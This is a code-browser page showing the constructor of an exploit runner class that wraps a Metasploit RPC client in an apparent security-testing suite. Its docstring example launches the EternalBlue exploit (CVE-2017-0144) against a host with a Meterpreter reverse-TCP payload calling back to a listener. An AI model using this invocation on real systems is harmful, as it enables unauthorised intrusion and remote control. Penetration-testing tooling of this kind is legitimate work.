MCPcopy Create free account
hub / github.com/TheSecuredAnalyst/security-suite / __init__

Method __init__

modules/exploit_engine/runner.py:58–73  ·  view source on GitHub ↗
(
        self,
        msf_host: str = "127.0.0.1",
        msf_port: int = 55553,
        msf_username: str = "msf",
        msf_password: str = "",
        msf_ssl: bool = False,   # snap msfrpcd starts without SSL by default
    )

Source from the content-addressed store, hash-verified

56 result = await runner.exploit_live("CVE-2017-0144", "192.168.1.100", 445,
57 payload="windows/x64/meterpreter/reverse_tcp",
58 lhost="10.0.0.5", lport=4444)
59 """
60
61 def __init__(
62 self,
63 msf_host: str = "127.0.0.1",
64 msf_port: int = 55553,
65 msf_username: str = "msf",
66 msf_password: str = "",
67 msf_ssl: bool = False, # snap msfrpcd starts without SSL by default
68 ) -> None:
69 self._msf = MetasploitClient(
70 host=msf_host,
71 port=msf_port,
72 username=msf_username,
73 password=msf_password,
74 ssl=msf_ssl,
75 )
76 self._connected = False

Callers

nothing calls this directly

Calls 1

MetasploitClientClass · 0.90

Tested by

no test coverage detected